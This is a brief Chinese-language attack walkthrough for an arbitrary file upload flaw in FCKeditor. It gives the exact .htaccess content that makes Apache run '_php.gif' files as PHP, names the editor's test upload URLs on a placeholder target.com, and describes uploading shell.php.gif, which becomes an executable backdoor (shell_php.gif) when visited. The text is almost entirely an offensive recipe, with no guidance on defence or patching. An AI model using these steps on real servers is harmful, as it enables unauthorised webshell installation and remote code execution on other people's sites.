fckeditor任意文件上传漏洞

1. 创建.htaccess文件，内容如下：

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>




.htaccess文件可以用来设置某个目录和某个目录的子目录的权限，以上内容的意思是将扩展名是"_php.gif"的文件解析成php

2.使用如下url，上传上面创建的的.htaccess文件

http://target.com/FCKeditor/editor/filemanager/upload/test.html

http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html




通过这一步上传，上传目录的"_php.gif"文件apache会按照php文件解析

3.上传shell.php.gif文件

这一步还是使用如下url：

http://target.com/FCKeditor/editor/filemanager/upload/test.html

http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

shell.php.gif文件被上传后，自动更名为shell_php.gif，shell_php.gif文件就是后门文件

4.访问shell_php.gif，则可以，shell执行